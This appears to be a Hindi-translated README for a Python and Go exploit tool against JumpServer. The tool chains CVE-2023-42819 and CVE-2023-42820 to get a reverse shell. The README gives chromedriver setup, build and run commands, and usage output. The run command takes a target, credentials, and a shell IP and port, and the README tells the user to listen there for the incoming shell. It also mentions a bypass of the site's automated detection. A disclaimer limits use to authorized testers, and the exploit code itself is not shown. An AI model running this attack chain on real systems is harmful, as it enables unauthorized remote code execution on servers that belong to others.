CVE-2023-42819

भेद्यता विवरण

JumpServer मनमाना फ़ाइल लेखन भेद्यता

CVE-2023-42819 + CVE-2023-42820 = GetShell

उपयोग

स्क्रिप्ट और आवश्यक फ़ाइलों को एक ही निर्देशिका में रखें
सुनिश्चित करें कि Google Chrome स्थापित है, और Google Chrome का संस्करण प्राप्त करें

reg query "HKEY_CURRENT_USER\Software\Google\Chrome\BLBeacon" /v version

Google Chrome के संबंधित संस्करण और सिस्टम के अनुसार chromedriver डाउनलोड करें, फिर इसे webdriver में रखें

नवीनतम संस्करण: https://googlechromelabs.github.io/chrome-for-testing/

पुराने संस्करण: https://chromedriver.chromium.org/downloads/version-selection

~~बहुत सारी आवश्यकताएँ : (~~
संबंधित IP और पोर्ट सुनें, शेल के वापस आने की प्रतीक्षा करें

Python संस्करण

 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗       ██╗  ██╗██████╗  █████╗  ██╗ █████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗      ██║  ██║╚════██╗██╔══██╗███║██╔══██╗
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗███████║ █████╔╝╚█████╔╝╚██║╚██████║
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝╚════██║██╔═══╝ ██╔══██╗ ██║ ╚═══██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝           ██║███████╗╚█████╔╝ ██║ █████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝            ╚═╝╚══════╝ ╚════╝  ╚═╝ ╚════╝

                                                                            @Auth: C1ph3rX13
                                                                            @Blog: https://c1ph3rx13.github.io
                                                                            @Note: कोड केवल शिक्षा के लिए है, कृपया इसका अन्य उपयोग न करें

usage: CVE-2023-42819-Fin.py [-h] -t TARGET -u USERNAME -p PASSWORD --ip IP --port PORT [--proxy PROXY]

CVE-2023-42819 by C1ph3rX13.

optional arguments:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        target url
  -u USERNAME, --username USERNAME
                        account username
  -p PASSWORD, --password PASSWORD
                        account password
  --ip IP               shell ip
  --port PORT           shell port
  --proxy PROXY         proxy to http://ip:port

Go संस्करण

निर्माण

go mod init CVE-2023-42819
go mod tidy
go build -ldflags="-s -w" -trimpath

चलाना

.\CVE-2023-42819.exe -t http://IP:Port -u username -p password -ip IP -port Port -proxy proxyUrl
             

        ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗       ██╗  ██╗██████╗  █████╗  ██╗ █████╗  
        ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗      ██║  ██║╚════██╗██╔══██╗███║██╔══██╗
        ██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗███████║ █████╔╝╚█████╔╝╚██║╚██████║
        ██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝╚════██║██╔═══╝ ██╔══██╗ ██║ ╚═══██║
        ╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝           ██║███████╗╚█████╔╝ ██║ █████╔╝
        ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝            ╚═╝╚══════╝ ╚════╝  ╚═╝ ╚════╝  
                                                                                                                
    @Auth: C1ph3rX13                                                                                            
    @Blog: https://c1ph3rx13.github.io                                                                          
    @Note: कोड केवल शिक्षा के लिए है, कृपया इसका अन्य उपयोग न करें                                                                   

Usage of CVE-2023-42819.exe:
  -ip string                                                                  
        Shell IP
  -p string
        Account Password
  -port string
        Shell Port
  -proxy string
        Proxy Url
  -t string
        Target Url
  -u string
        Account Username

करने के लिए कार्य

अनुरक्षण

2023-10-18 वेबसाइट स्वचालित पहचान बाईपास जोड़ा गया - Python संस्करण
2023-10-18 क्लाइंट फ़ंक्शन पुनर्गठन
2023-10-18 रन लॉजिक सरलीकरण
2023-10-18 Linux परीक्षण OK - Go संस्करण

अस्वीकरण

यह उपकरण केवल उन पैठ परीक्षण सुरक्षा कर्मियों और नियमित नेटवर्क संचालन कर्मियों के लिए है जिनके पास वैध प्राधिकरण है। उपयोगकर्ता पर्याप्त वैध प्राधिकरण प्राप्त करने और गैर-वाणिज्यिक उपयोग की शर्तों पर इस सॉफ़्टवेयर को डाउनलोड, कॉपी, प्रसारित या उपयोग कर सकते हैं।
इस उपकरण का उपयोग करते समय, आपको यह सुनिश्चित करना होगा कि आपके सभी कार्य स्थानीय कानूनों और विनियमों का अनुपालन करते हैं, और इस सॉफ़्टवेयर का उपयोग पीपुल्स रिपब्लिक ऑफ़ चाइना के संबंधित कानूनों के विरुद्ध गतिविधियों के लिए न करें। इस उपकरण के सभी लेखक और योगदानकर्ता उपयोगकर्ता द्वारा बिना प्राधिकरण के इस उपकरण का उपयोग करके किसी भी अवैध गतिविधि के लिए कोई जिम्मेदारी नहीं लेते हैं।

CVE-2023-42819

सबसे लोकप्रिय

CVE-2023-42819

भेद्यता विवरण

उपयोग

Python संस्करण

Go संस्करण

निर्माण

चलाना

करने के लिए कार्य

अनुरक्षण

अस्वीकरण